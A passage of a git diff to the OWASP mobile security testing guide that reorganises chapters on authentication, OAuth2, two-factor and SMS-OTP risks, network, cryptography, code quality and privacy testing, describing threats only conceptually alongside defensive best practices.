(Proof Key for Code Exchange) should be implemented to protect the code grant. Make sure that the server also implements it. -- The auth "code" should be short-lived and used immediately after it is received. Verify that auth codes only reside on transient memory and aren't stored or logged. +### Best Practices -Client secrets: +For additional best practices and detailed information please refer to the following source documents: -- Shared secrets should not be used to prove the client's identity because the client could be impersonated ("client_id" already serves as proof). If they do use client secrets, be sure that they are stored in secure local storage. +- [RFC6749 - The OAuth 2.0 Authorization Framework (October 2012)](https://tools.ietf.org/html/rfc6749) +- [RFC8252 - OAuth 2.0 for Native Apps (October 2017)](https://tools.ietf.org/html/rfc8252) +- [RFC6819 - OAuth 2.0 Threat Model and Security Considerations (January 2013)](https://tools.ietf.org/html/rfc6819) -End-User credentials: +Some of the best practices include but are not limited to: + +- **User agent:** + - The user should have a way to visually verify trust (e.g., Transport Layer Security (TLS) confirmation, website mechanisms). + - To prevent man-in-the-middle attacks, the client should validate the server's fully qualified domain name with the public key the server presented when the connection was established. +- **Type of grant:** + - On native apps, code grant should be used instead of implicit grant. + - When using code grant, PKCE (Proof Key for Code Exchange) should be implemented to protect the code grant. Make sure that the server also implements it. + - The auth "code" should be short-lived and used immediately after it is received. Verify that auth codes only reside on transient memory and aren't stored or logged. +- **Client secrets:** + - Shared secrets should not be used to prove the client's identity because the client could be impersonated ("client_id" already serves as proof). If they do use client secrets, be sure that they are stored in secure local storage. +- **End-User credentials:** + - Secure the transmission of end-user credentials with a transport-layer method, such as TLS. +- **Tokens:** + - Keep access tokens in transient memory. + - Access tokens must be transmitted over an encrypted connection. + - Reduce the scope and duration of access tokens when end-to-end confidentiality can't be guaranteed or the token provides access to sensitive information or transactions. + - Remember that an attacker who has stolen tokens can access their scope and all resources associated with them if the app uses access tokens as bearer tokens with no other way to identify the client. + - Store refresh tokens in secure local storage; they are long-term credentials. + +## User Logout -- Secure the transmission of end-user credentials with a transport-layer method, such as TLS. +Failing to destroy the server-side session is one of the most common logout functionality implementation errors. This error keeps the session or token alive, even after the user logs out of the application. An attacker who gets valid authentication information can continue to use it and hijack a user's account. -Tokens: +Many mobile apps don't automatically log users out. There can be various reasons, such as: because it is inconvenient for customers, or because of decisions made when implementing stateless authentication. The application should still have a logout function, and it should be implemented according to best practices, destroying all locally stored tokens or session identifiers. -- Keep access tokens in transient memory. -- Access tokens must be transmitted over an encrypted connection. -- Reduce the scope and duration of access tokens when end-to-end confidentiality can't be guaranteed or the token provides access to sensitive information or transactions. -- Remember that an attacker who has stolen tokens can access their scope and all resources associated with them if the app uses access tokens as bearer tokens with no other way to identify the client. -- Store refresh tokens in secure local storage; they are long-term credentials. +If session information is stored on the server, it should be destroyed by sending a logout request to that server. In case of a high-risk application, tokens should be invalidated. Not removing tokens or session identifiers can result in unauthorized access to the application in case the tokens are leaked. +Note that other sensitive types of information should be removed as well, as any information that is not properly cleared may be leaked later, for example during a device backup. -#### External User Agent vs. Embedded User Agent +Here are different examples of session termination for proper server-side logout: -OAuth2 authentication can be performed either through an external user agent (e.g. Chrome or Safari) or in the app itself (e.g. through a WebView embedded into the app or an authentication library). None of the two modes is intrinsically "better" - instead, what mode to choose depends on the context. +- [Spring (Java)](https://docs.spring.io/autorepo/docs/spring-security/4.1.x/apidocs/org/springframework/security/web/authentication/logout/SecurityContextLogoutHandler.html "Spring (Java)") +- [Ruby on Rails](https://guides.rubyonrails.org/security.html "Ruby on Rails") +- [PHP](https://php.net/manual/en/function.session-destroy.php "PHP") -Using an _external user agent_ is the method of choice for apps that need to interact with social media accounts (Facebook, Twitter, etc.). Advantages of this method include: +If access and refresh tokens are used with stateless authentication, they should be deleted from the mobile device. The [refresh token should be invalidated on the server](https://auth0.com/blog/denylist-json-web-token-api-keys/ "Invalidating JSON Web Token API Keys"). -- The user's credentials are never directly exposed to the app. This guarantees that the app cannot obtain the credentials during the login process ("credential phishing"). +The OWASP Web Testing Guide ([WSTG-SESS-06](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality "WSTG-SESS-006")) includes a detailed explanation and more test cases. -- Almost no authentication logic must be added to the app itself, preventing coding errors. +## Supplementary Authentication -On the negative side, there is no way to control the behavior of the browser (e.g. to activate certificate pinning). +Authentication schemes are sometimes supplemented by [passive contextual authentication](https://pdfs.semanticscholar.org/13aa/7bf53070ac8e209a84f6389bab58a1e2c888.pdf "Best Practices for +Multi-factor Authentication"), which can incorporate: -For apps that operate within a closed ecosystem, _embedded authentication_ is the better choice. For example, consider a banking app that uses OAuth2 to retrieve an access token from the bank's authentication server, which is then used to access a number of micro services. In that case, credential phishing is not a viable scenario. It is likely preferable to keep the authentication process in the (hopefully) carefully secured banking app, instead of placing trust on external components. +- Geolocation +- IP address +- Time of day +- The device being used -### Other OAuth2 Best Practices +Ideally, in such a system the user's context is compared to previously recorded data to identify anomalies that might indicate account abuse or potential fraud. This process is transparent to the user, but can become a powerful deterrent to attackers. -For additional best practices and detailed information please refer to the following source documents: +## Two-factor Authentication -- [RFC6749 - The OAuth 2.0 Authorization Framework (October 2012)](https://tools.ietf.org/html/rfc6749) -- [RFC8252 - OAuth 2.0 for Native Apps (October 2017)](https://tools.ietf.org/html/rfc8252) -- [RFC6819 - OAuth 2.0 Threat Model and Security Considerations (January 2013)](https://tools.ietf.org/html/rfc6819) +Two-factor authentication (2FA) is standard for apps that allow users to access sensitive functions and data. Common implementations use a password for the first factor and any of the following as the second factor: + +- One-time password via SMS (SMS-OTP) +- One-time code via phone call +- Hardware or software token +- Push notifications in combination with PKI and local authentication + +Whatever option is used, it always must be enforced and verified on the server-side and never on client-side. Otherwise the 2FA can be easily bypassed within the app. + +The 2FA can be performed at login or later in the user's session. -## Testing Login Activity and Device Blocking (MSTG-AUTH-11) +> For example, after logging in to a banking app with a username and PIN, the user is authorized to perform non-sensitive tasks. Once the user attempts to execute a bank transfer, the second factor ("step-up authentication") must be presented. -For applications which require L2 protection, the MASVS states that they should inform the user about all login activities within the app with the possibility of blocking certain devices. This can be broken down into various scenarios: +**Best Practices:** + +- Don't roll your own 2FA: There are various two-factor authentication mechanisms available which can range from third-party libraries, usage of external apps to self implemented checks by the developers. +- Use short-lived OTPs: A OTP should be valid for only a certain amount of time (usually 30 seconds) and after keying in the OTP wrongly several times (usually 3 times) the provided OTP should be invalidated and the user should be redirected to the landing page or logged out. +- Store tokens securely: To prevent these kind of attacks, the application should always verify some kind of user token or other dynamic information related to the user that was previously securely stored (e.g. in the Keychain/KeyStore). + +### SMS-OTP + +Although one-time passwords (OTP) sent via SMS are a common second factor for two-factor authentication, this method has its shortcomings. In 2016, NIST suggested: "Due to the risk that SMS messages may be intercepted or redirected, implementers of new systems SHOULD carefully consider alternative authenticators.". Below you will find a list of some related threats and suggestions to avoid successful attacks on SMS-OTP. + +Threats: + +- Wireless Interception: The adversary can intercept SMS messages by abusing femtocells and other known vulnerabilities in the telecommunications network. +- Trojans: Installed malicious applications with access to text messages may forward the OTP to another number or backend. +- SIM SWAP Attack: In this attack, the adversary calls the phone company, or works for them, and has the victim's number moved to a SIM card owned by the adversary. If successful, the adversary can see the SMS messages which are sent to the victim's phone number. This includes the messages used in the two-factor authentication. +- Verification Code Forwarding Attack: This social engineering attack relies on the trust the users have in the company providing the OTP. In this attack, the user receives a code and is later asked to relay that code using the same means in which it received the information. +- Voicemail: Some two-factor authentication schemes allow the OTP to be sent through a phone call when SMS is no longer preferred or available. Many of these calls, if not answered, send the information to voicemail. If an attacker was able to gain access to the voicemail, they could also use the OTP to gain access to a user's account. + +You can find below several suggestions to reduce the likelihood of exploitation when using SMS for OTP: + +- **Messaging**: When sending an OTP via SMS, be sure to include a message that lets the user know 1) what to do if they did not request the code 2) your company will never call or text them requesting that they relay their password or code. +- **Dedicated Channel**: When using the OS push notification feature (APN on iOS and FCM on Android), OTPs can be sent securely to a registered application. This information is, compared to SMS, not accessible by other applications. Alternatively of a OTP the push notification could trigger a pop-up to approve the requested access. +- **Entropy**: Use authenticators with high entropy to make OTPs harder to crack or guess and use at least 6 digits. Make sure that digits are separates in smaller groups in case people have to remember them to copy them to your app. +- **Avoid Voicemail**: If a user prefers to receive a phone call, do not leave the OTP information as a voicemail. + +**SMS-OTP Research:** + +- [#dmitrienko] Dmitrienko, Alexandra, et al. "On the (in) security of mobile two-factor authentication." International Conference on Financial Cryptography and Data Security. Springer, Berlin, Heidelberg, 2014. +- [#grassi] Grassi, Paul A., et al. Digital identity guidelines: Authentication and lifecycle management (DRAFT). No. Special Publication (NIST SP)-800-63B. 2016. +- [#grassi2] Grassi, Paul A., et al. Digital identity guidelines: Authentication and lifecycle management. No. Special Publication (NIST SP)-800-63B. 2017. +- [#konoth] Konoth, Radhesh Krishnan, Victor van der Veen, and Herbert Bos. "How anywhere computing just killed your phone-based two-factor authentication." International Conference on Financial Cryptography and Data Security. Springer, Berlin, Heidelberg, 2016. +- [#mulliner] Mulliner, Collin, et al. "SMS-based one-time passwords: attacks and defense." International Conference on Detection of Intrusions and Malware, and Vulnerability Assessment. Springer, Berlin, Heidelberg, 2013. +- [#siadati] Siadati, Hossein, et al. "Mind your SMSes: Mitigating social engineering in second factor authentication." Computers & Security 65 (2017): 14-28. +- [#siadati2] Siadati, Hossein, Toan Nguyen, and Nasir Memon. "Verification code forwarding attack (short paper)." International Conference on Passwords. Springer, Cham, 2015. + +### Transaction Signing with Push Notifications and PKI + +Another alternative and strong mechanisms to implement a second factor is transaction signing. + +Transaction signing requires authentication of the user's approval of critical transactions. Asymmetric cryptography is the best way to implement transaction signing. The app will generate a public/private key pair when the user signs up, then registers the public key on the backend. The private key is securely stored in the KeyStore (Android) or KeyChain (iOS). To authorize a transaction, the backend sends the mobile app a push notification containing the transaction data. The user is then asked to confirm or deny the transaction. After confirmation, the user is prompted to unlock the Keychain (by entering the PIN or fingerprint), and the data is signed with user's private key. The signed transaction is then sent to the server, which verifies the signature with the user's public key. + +## Login Activity and Device Blocking + +It is a best practice that apps should inform the user about all login activities within the app with the possibility of blocking certain devices. This can be broken down into various scenarios: 1. The application provides a push notification the moment their account is used on another device to notify the user of different activities. The user can then block this device after opening the app via the push-notification. 2. The application provides an overview of the last session after login. If the previous session was with a different configuration (e.g. location, device, app-version) compared to the current configuration, then the user should have the option to report suspicious activities and block devices used in the previous session. @@ -558,30 +351,4 @@ Paid content requires special care, and additional meta-information (e.g., opera In addition, non-repudiation mechanisms should be applied to sensitive transactions (e.g. paid content access, given consent to Terms and Conditions clauses, etc.) in order to prove that a specific transaction was in fact performed (integrity) and by whom (authentication). -Lastly, it should be possible for the user to log out specific open sessions and in some cases it might be interesting to fully block certain devices using a device identifier. See sections ["Testing Device Binding (Android)"](0x05j-Testing-Resiliency-Against-Reverse-Engineering.md#testing-device-binding-mstg-resilience-10) and ["Device Binding (iOS)"](0x06j-Testing-Resiliency-Against-Reverse-Engineering.md#device-binding-mstg-resilience-10) for further details. - -## References - -### OWASP MASVS - -- MSTG-ARCH-2: "Security controls are never enforced only on the client side, but on the respective remote endpoints." -- MSTG-AUTH-1: "If the app provides users access to a remote service, some form of authentication, such as username/password authentication, is performed at the remote endpoint." -- MSTG-AUTH-2: "If stateful session management is used, the remote endpoint uses randomly generated session identifiers to authenticate client requests without sending the user's credentials." -- MSTG-AUTH-3: "If stateless token-based authentication is used, the server provides a token that has been signed using a secure algorithm." -- MSTG-AUTH-4: "The remote endpoint terminates the existing session when the user logs out." -- MSTG-AUTH-5: "A password policy exists and is enforced at the remote endpoint." -- MSTG-AUTH-6: "The remote endpoint implements a mechanism to protect against the submission of credentials an excessive number of times." -- MSTG-AUTH-7: "Sessions are invalidated at the remote endpoint after a predefined period of inactivity and access tokens expire." -- MSTG-AUTH-9: "A second factor of authentication exists at the remote endpoint and the 2FA requirement is consistently enforced." -- MSTG-AUTH-10: "Sensitive transactions require step-up authentication." -- MSTG-AUTH-11: "The app informs the user of all sensitive activities with their account. Users are able to view a list of devices, view contextual information (IP address, location, etc.), and to block specific devices." - -#### SMS-OTP Research - -- [#dmitrienko] Dmitrienko, Alexandra, et al. "On the (in) security of mobile two-factor authentication." International Conference on Financial Cryptography and Data Security. Springer, Berlin, Heidelberg, 2014. -- [#grassi] Grassi, Paul A., et al. Digital identity guidelines: Authentication and lifecycle management (DRAFT). No. Special Publication (NIST SP)-800-63B. 2016. -- [#grassi2] Grassi, Paul A., et al. Digital identity guidelines: Authentication and lifecycle management. No. Special Publication (NIST SP)-800-63B. 2017. -- [#konoth] Konoth, Radhesh Krishnan, Victor van der Veen, and Herbert Bos. "How anywhere computing just killed your phone-based two-factor authentication." International Conference on Financial Cryptography and Data Security. Springer, Berlin, Heidelberg, 2016. -- [#mulliner] Mulliner, Collin, et al. "SMS-based one-time passwords: attacks and defense." International Conference on Detection of Intrusions and Malware, and Vulnerability Assessment. Springer, Berlin, Heidelberg, 2013. -- [#siadati] Siadati, Hossein, et al. "Mind your SMSes: Mitigating social engineering in second factor authentication." Computers & Security 65 (2017): 14-28. -- [#siadati2] Siadati, Hossein, Toan Nguyen, and Nasir Memon. "Verification code forwarding attack (short paper)." International Conference on Passwords. Springer, Cham, 2015. +Lastly, it should be possible for the user to log out specific open sessions and in some cases it might be interesting to fully block certain devices using a device identifier. diff --git a/Document/0x04f-Testing-Network-Communication.md b/Document/0x04f-Testing-Network-Communication.md index f13c5cc8e4..3e3be25437 100644 --- a/Document/0x04f-Testing-Network-Communication.md +++ b/Document/0x04f-Testing-Network-Communication.md @@ -1,3 +1,8 @@ +--- +masvs_category: MASVS-NETWORK +platform: all +--- + # Mobile App Network Communication Practically every network-connected mobile app uses the Hypertext Transfer Protocol (HTTP) or HTTP over Transport Layer Security (TLS), HTTPS, to send and receive data to and from remote endpoints. Consequently, network-based attacks (such as packet sniffing and man-in-the-middle-attacks) are a problem. In this chapter we discuss potential vulnerabilities, testing techniques, and best practices concerning the network communication between mobile apps and their endpoints. @@ -500,10 +505,3 @@ If not already done, install the CA certificates in your mobile device which wil Start using the app and trigger its functions. You should see HTTP messages showing up in your interception proxy. > When using bettercap you need to activate "Support invisible proxying" in Proxy Tab / Options / Edit Interface - -## References - -### OWASP MASVS - -- MSTG-NETWORK-1: "Data is encrypted on the network using TLS. The secure channel is used consistently throughout the app." -- MSTG-NETWORK-2: "The TLS settings are in line with current best practices, or as close as possible if the mobile operating system does not support the recommended standards." diff --git a/Document/0x04g-Testing-Cryptography.md b/Document/0x04g-Testing-Cryptography.md index 51428e84cd..d99e47c61d 100644 --- a/Document/0x04g-Testing-Cryptography.md +++ b/Document/0x04g-Testing-Cryptography.md @@ -1,3 +1,8 @@ +--- +masvs_category: MASVS-CRYPTO +platform: all +--- + # Mobile App Cryptography Cryptography plays an especially important role in securing the user's data - even more so in a mobile environment, where attackers having physical access to the user's device is a likely scenario. This chapter provides an outline of cryptographic concepts and best practices relevant to mobile apps. These best practices are valid independent of the mobile operating system. @@ -159,7 +164,7 @@ Therefore it is best to consider the following, if keys are still needed at the - **Keys in a Remote Server**: you can use remote Key vaults such as Amazon KMS or Azure Key Vault. For some use cases, developing an orchestration layer between the app and the remote resource might be a suitable option. For instance, a serverless function running on a Function as a Service (FaaS) system (e.g. AWS Lambda or Google Cloud Functions) which forwards requests to retrieve an API key or secret. There are other alternatives such as Amazon Cognito, Google Identity Platform or Azure Active Directory. - **Keys inside Secure Hardware-backed Storage**: make sure that all cryptographic actions and the key itself remain in the Trusted Execution Environment (e.g. use [Android Keystore](https://developer.android.com/training/articles/keystore.html "Android keystore system")) or [Secure Enclave](https://developer.apple.com/documentation/security/certificate_key_and_trust_services/keys/storing_keys_in_the_secure_enclave "Storing Keys in the Secure Enclave") (e.g. use the Keychain). Refer to the [Android Data Storage](0x05d-Testing-Data-Storage.md#storing-keys-using-hardware-backed-android-keystore) and [iOS Data Storage](0x06d-Testing-Data-Storage.md#the-keychain) chapters for more information. - **Keys protected by Envelope Encryption**: If keys are stored outside of the TEE / SE, consider using multi-layered encryption: an _envelope encryption_ approach (see [OWASP Cryptographic Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#encrypting-stored-keys "OWASP Cryptographic Storage Cheat Sheet: Encrypting Stored Keys"), [Google Cloud Key management guide](https://cloud.google.com/kms/docs/envelope-encryption?hl=en "Google Cloud Key management guide: Envelope encryption"), [AWS Well-Architected Framework guide](https://docs.aws.amazon.com/wellarchitected/latest/financial-services-industry-lens/use-envelope-encryption-with-customer-master-keys.html "AWS Well-Architected Framework")), or [a HPKE approach](https://tools.ietf.org/html/draft-irtf-cfrg-hpke-08 "Hybrid Public Key Encryption") to encrypt data encryption keys with key encryption keys. -- **Keys in Memory**: make sure that keys live in memory for the shortest time possible and consider zeroing out and nullifying keys after successful cryptographic operations, and in case of error. For general cryptocoding guidelines, refer to [Clean memory of secret data](https://github.com/veorq/cryptocoding#clean-memory-of-secret-data/ "The Cryptocoding Guidelines by @veorq: Clean memory of secret data"). For more detailed information refer to sections [Testing Memory for Sensitive Data](0x05d-Testing-Data-Storage.md#testing-memory-for-sensitive-data-mstg-storage-10) and [Testing Memory for Sensitive Data](0x06d-Testing-Data-Storage.md#testing-memory-for-sensitive-data-mstg-storage-10) for Android and iOS respectively. +- **Keys in Memory**: make sure that keys live in memory for the shortest time possible and consider zeroing out and nullifying keys after successful cryptographic operations, and in case of error. For general cryptocoding guidelines, refer to [Clean memory of secret data](https://github.com/veorq/cryptocoding#clean-memory-of-secret-data/ "The Cryptocoding Guidelines by @veorq: Clean memory of secret data"). Note: given the ease of memory dumping, never share the same key among accounts and/or devices, other than public keys used for signature verification or encryption. @@ -187,13 +192,3 @@ Learn more: - [Encryption and Export Administration Regulations (USA)](https://www.bis.doc.gov/index.php/policy-guidance/encryption "Encryption and Export Administration Regulations") - [Encryption Control (France)](https://www.ssi.gouv.fr/en/regulation/cryptology/ "Encryption Control") - [World map of encryption laws and policies](https://www.gp-digital.org/WORLD-MAP-OF-ENCRYPTION/) - -## References - -### OWASP MASVS - -- MSTG-ARCH-8: "There is an explicit policy for how cryptographic keys (if any) are managed, and the lifecycle of cryptographic keys is enforced. Ideally, follow a key management standard such as NIST SP 800-57." -- MSTG-CRYPTO-1: "The app does not rely on symmetric cryptography with hardcoded keys as a sole method of encryption." -- MSTG-CRYPTO-2: "The app uses proven implementations of cryptographic primitives." -- MSTG-CRYPTO-3: "The app uses cryptographic primitives that are appropriate for the particular use-case, configured with parameters that adhere to industry best practices." -- MSTG-CRYPTO-4: "The app does not use cryptographic protocols or algorithms that are widely considered deprecated for security purposes." diff --git a/Document/0x04h-Testing-Code-Quality.md b/Document/0x04h-Testing-Code-Quality.md index 63ea3b459a..dd67fd662d 100644 --- a/Document/0x04h-Testing-Code-Quality.md +++ b/Document/0x04h-Testing-Code-Quality.md @@ -1,3 +1,8 @@ +--- +masvs_category: MASVS-CODE +platform: all +--- + # Mobile App Code Quality Mobile app developers use a wide variety of programming languages and frameworks. As such, common vulnerabilities such as SQL injection, buffer overflows, and cross-site scripting (XSS), may manifest in apps when neglecting secure programming practices. @@ -303,11 +308,3 @@ More information can be found in ["Memory Corruption Bugs"](#memory-corruption-b [Stack canaries](https://en.wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries) help prevent stack buffer overflow attacks by storing a hidden integer value on the stack right before the return pointer. This value is then validated before the return statement of the function is executed. A buffer overflow attack often overwrites a region of memory in order to overwrite the return pointer and take over the program flow. If stack canaries are enabled, they will be overwritten as well and the CPU will know that the memory has been tampered with. Stack buffer overflow is a type of the more general programming vulnerability known as [buffer overflow](https://en.wikipedia.org/wiki/Buffer_overflow) (or buffer overrun). Overfilling a buffer on the stack is more likely to **derail program execution** than overfilling a buffer on the heap because the stack contains the return addresses for all active function calls. - -## References - -### OWASP MASVS - -- MSTG-ARCH-2: "Security controls are never enforced only on the client side, but on the respective remote endpoints." -- MSTG-PLATFORM-2: "All inputs from external sources and the user are validated and if necessary sanitized. This includes data received via the UI, IPC mechanisms such as intents, custom URLs, and network sources." -- MSTG-CODE-8: "In unmanaged code, memory is allocated, freed and used securely." diff --git a/Document/0x04i-Testing-User-Privacy-Protection.md b/Document/0x04i-Testing-User-Privacy-Protection.md index 3cacbc1bea..c85998c8ab 100644 --- a/Document/0x04i-Testing-User-Privacy-Protection.md +++ b/Document/0x04i-Testing-User-Privacy-Protection.md @@ -1,9 +1,9 @@ # Mobile App User Privacy Protection -**IMPORTANT DISCLAIMER:** The MASTG is not a legal handbook. Therefore, we will not deep dive into the GDPR or other possibly relevant legislation here. This chapter is meant to introduce you to the topics and provide you with essential references that you can use to continue researching by yourself. We'll also do our best effort to provide you with tests or guidelines for testing the privacy-related requirements listed in the OWASP MASVS. - ## Overview +**IMPORTANT DISCLAIMER:** The MASTG is not a legal handbook. Therefore, we will not deep dive into the GDPR or other possibly relevant legislation here. This chapter is meant to introduce you to the topics and provide you with essential references that you can use to continue researching by yourself. We'll also do our best effort to provide you with tests or guidelines for testing the privacy-related requirements listed in the OWASP MASVS. + ### The Main Problem Mobile apps handle all kinds of sensitive user data, from identification and banking information to health data. There is an understandable concern about how this data is handled and where it ends up. We can also talk about "benefits users get from using the apps" vs "the real price that they are paying for it" (usually and unfortunately without even being aware of it). @@ -17,8 +17,8 @@ To ensure that users are properly protected, legislation such as the [General Da There are two main dimensions to consider here: - **Developer Compliance**: Developers need to comply with legal privacy principles since they are enforced by law. Developers need to better comprehend the legal principles in order to know what exactly they need to implement to remain compliant. Ideally, at least, the following must be fulfilled: - - **Privacy-by-Design** approach (Art. 25 GDPR, "Data protection by design and by default"). - - **Principle of Least Privilege** ("Every program and every user of the system should operate using the least set of privileges necessary to complete the job.") + - **Privacy-by-Design** approach (Art. 25 GDPR, "Data protection by design and by default"). + - **Principle of Least Privilege** ("Every program and every user of the system should operate using the least set of privileges necessary to complete the job.") - **User Education**: Users need to be educated about their sensitive data and informed about how to use the application properly (to ensure secure handling and processing of their information). > Note: More often than not apps will claim to handle certain data, but in reality that's not the case. The IEEE article ["Engineering Privacy in Smartphone Apps: A Technical Guideline Catalog for App Developers" by Majid Hatamian](https://drive.google.com/file/d/1cp7zrqJuVkftJ0DARNN40Ga_m_tEhIrQ/view?usp=sharing) gives a very nice introduction to this topic. @@ -30,14 +30,14 @@ When an app needs personal information from a user for its business process, the Surely you're already familiar with the classic triad of security protection goals: confidentiality, integrity, and availability. However, you might not be aware of the three protection goals that have been proposed to focus on data protection: - **Unlinkability**: - - Users' privacy-relevant data must be unlinkable to any other set of privacy-relevant data outside of the domain. - - Includes: data minimization, anonymization, pseudonymization, etc. + - Users' privacy-relevant data must be unlinkable to any other set of privacy-relevant data outside of the domain. + - Includes: data minimization, anonymization, pseudonymization, etc. - **Transparency**: - - Users should be able to request all information that the application has on them, and receive instructions on how to request this information. - - Includes: privacy policies, user education, proper logging and auditing mechanisms, etc. + - Users should be able to request all information that the application has on them, and receive instructions on how to request this information. + - Includes: privacy policies, user education, proper logging and auditing mechanisms, etc. - **Intervenability**: - - Users should be able to correct their personal information, request its deletion, withdraw any given consent at any time, and receive instructions on how to do so. - - Includes: privacy settings directly in the app, single points of contact for individuals’ intervention requests (e.g. in-app chat, telephone number, e-mail), etc. + - Users should be able to correct their personal information, request its deletion, withdraw any given consent at any time, and receive instructions on how to do so. + - Includes: privacy settings directly in the app, single points of contact for individuals’ intervention requests (e.g. in-app chat, telephone number, e-mail), etc. > See Section 5.1.1 "Introduction to data protection goals" in ENISA's ["Privacy and data protection in mobile applications"](https://www.enisa.europa.eu/publications/privacy-and-data-protection-in-mobile-applications "ENISA - Privacy and data protection in mobile applications") for more detailed descriptions. @@ -69,20 +69,7 @@ In order to provide more transparency into the app's security architecture, Goog Note that the limited nature of testing does not guarantee complete safety of the application. This independent review may not be scoped to verify the accuracy and completeness of a developer's Data safety declarations. Developers remain solely responsible for making complete and accurate declarations in their app's Play store listing. -### How this Relates to Testing Other MASVS Categories - -The following is a list of [common privacy violations](https://support.google.com/googleplay/android-developer/answer/10144311?hl=en-GB#1&2&3&4&5&6&7&87&9&zippy=%2Cexamples-of-common-violations) that you as a security tester should report (although not an exhaustive list): - -- Example 1: An app that accesses a user's inventory of installed apps and doesn't treat this data as personal or sensitive data by sending it over the network (violating MSTG-STORAGE-4) or to another app via IPC mechanisms (violating MSTG-STORAGE-6). -- Example 2: An app displays sensitive data such as credit card details or user passwords without user authorization e.g. biometrics (violating MSTG-AUTH-10). -- Example 3: An app that accesses a user's phone or contact book data and doesn't treat this data as personal or sensitive data, additionally sending it over an unsecured network connection (violating MSTG-NETWORK-1). -- Example 4: An app collects device location (which is apparently not required for its proper functioning) and does not have a prominent disclosure explaining which feature uses this data (violating MSTG-PLATFORM-1). - -> You can find more common violations in [Google Play Console Help (Policy Centre -> Privacy, deception and device abuse -> User data)](https://support.google.com/googleplay/android-developer/answer/10144311?hl=en-GB#1&2&3&4&5&6&7&87&9&zippy=%2Cexamples-of-common-violations). - -As you can see this is deeply related to other testing categories. When you're testing them you're often indirectly testing for User Privacy Protection. Keep this in mind since it will help you provide better and more comprehensive reports. Often you'll also be able to reuse evidence from other tests in order to test for User Privacy Protection (see an example of this in ["Testing User Education"](#testing-user-education-mstg-storage-12)). - -### Learn More +### References You can learn more about this and other privacy related topics here: @@ -94,9 +81,20 @@ You can learn more about this and other privacy related topics here: - [Preparing your app for the new Data safety section in Google Play](https://www.youtube.com/watch?v=J7TM0Yy0aTQ) - [Android Privacy Best Practices](https://developer.android.com/privacy/best-practices) -## Testing User Education (MSTG-STORAGE-12) +## Testing for Privacy in Mobile Apps + +The following is a list of [common privacy violations](https://support.google.com/googleplay/android-developer/answer/10144311?hl=en-GB#1&2&3&4&5&6&7&87&9&zippy=%2Cexamples-of-common-violations) that you as a security tester should report (although not an exhaustive list): -### Testing User Education on Data Privacy on the App Marketplace +- Example 1: An app that accesses a user's inventory of installed apps and doesn't treat this data as personal or sensitive data by sending it over the network (violating MSTG-STORAGE-4) or to another app via IPC mechanisms (violating MSTG-STORAGE-6). +- Example 2: An app displays sensitive data such as credit card details or user passwords without user authorization e.g. biometrics (violating MSTG-AUTH-10). +- Example 3: An app that accesses a user's phone or contact book data and doesn't treat this data as personal or sensitive data, additionally sending it over an unsecured network connection (violating MSTG-NETWORK-1). +- Example 4: An app collects device location (which is apparently not required for its proper functioning) and does not have a prominent disclosure explaining which feature uses this data (violating MSTG-PLATFORM-1). + +> You can find more common violations in [Google Play Console Help (Policy Centre -> Privacy, deception and device abuse -> User data)](https://support.google.com/googleplay/android-developer/answer/10144311?hl=en-GB#1&2&3&4&5&6&7&87&9&zippy=%2Cexamples-of-common-violations). + +As you can see this is deeply related to other testing categories. When you're testing them you're often indirectly testing for User Privacy Protection. Keep this in mind since it will help you provide better and more comprehensive reports. Often you'll also be able to reuse evidence from other tests in order to test for User Privacy Protection). + +## Testing User Education on Data Privacy on the App Marketplace At this point, we're only interested in knowing which privacy-related information is being disclosed by the developers and trying to evaluate if it seems reasonable (similarly as you'd do when testing for permissions). @@ -116,11 +114,11 @@ The test passes if the developer has complied with the app marketplace guideline As an optional step, you can also provide some kind of evidence as part of this test. For instance, if you're testing an iOS app you can easily enable app activity recording and export a [Privacy Report](https://developer.apple.com/documentation/network/privacy_management/inspecting_app_activity_data) containing detailed app access to different resources such as photos, contacts, camera, microphone, network connections, etc. -Doing this has actually many advantages for testing other MASVS categories. It provides very useful information that you can use to [test network communication](0x06g-Testing-Network-Communication.md) in MASVS-NETWORK or when [testing app permissions](0x06h-Testing-Platform-Interaction.md#testing-app-permissions-mstg-platform-1) in MASVS-PLATFORM. While testing these other categories you might have taken similar measurements using other testing tools. You can also provide this as evidence for this test. +Doing this has actually many advantages for testing other MASVS categories. It provides very useful information that you can use to [test network communication](0x06g-Testing-Network-Communication.md) for MASVS-NETWORK or when [testing app interaction with the platform](0x06h-Testing-Platform-Interaction.md) for MASVS-PLATFORM. While testing these other categories you might have taken similar measurements using other testing tools. You can also provide this as evidence for this test. > Ideally, the information available should be compared against what the app is actually meant to do. However, that's far from a trivial task that could take from several days to weeks to complete depending on your resources and support from automated tooling. It also heavily depends on the app functionality and context and should be ideally performed on a white box setup working very closely with the app developers. -### Testing User Education on Security Best Practices +## Testing User Education on Security Best Practices Testing this might be especially challenging if you intend to automate it. We recommend using the app extensively and try to answer the following questions whenever applicable: @@ -144,13 +142,9 @@ Testing this might be especially challenging if you intend to automate it. We re _does the app display prominent disclosure of data access, collection, use, and sharing? e.g. does the app use the [App Tracking Transparency Framework](https://developer.apple.com/documentation/apptrackingtransparency) to ask for the permission on iOS?_ -## References +Some references include: - Open-Source Licenses and Android - - Software Licenses in Plain English - -- Apple Human Interface Guidelines - +- Apple Accessing private data - - Android App permissions best practices - - -### OWASP MASVS - -- MSTG-STORAGE-12: "The app educates the user about the types of personally identifiable information processed, as well as security best practices the user should follow in using the app." diff --git a/Document/0x05a-Platform-Overview.md b/Document/0x05a-Platform-Overview.md index 06f4196b50..2a2846c788 100644 --- a/Document/0x05a-Platform-Overview.md +++ b/Document/0x05a-Platform-Overview.md @@ -28,9 +28,9 @@ Dalvik bytecode is an optimized version of Java bytecode. It is created by first -Before Android 5.0 (API level 21), Android executed bytecode on the Dalvik Virtual Machine (DVM), where it was translated into machine code at execution time, a process known as *just-in-time* (JIT) compilation. This enables the runtime to benefit from the speed of compiled code while maintaining the flexibility of code interpretation. +Before Android 5.0 (API level 21), Android executed bytecode on the Dalvik Virtual Machine (DVM), where it was translated into machine code at execution time, a process known as _just-in-time_ (JIT) compilation. This enables the runtime to benefit from the speed of compiled code while maintaining the flexibility of code interpretation. -Since Android 5.0 (API level 21), Android executes bytecode on the Android Runtime (ART) which is the successor of the DVM. ART provides improved performance as well as context 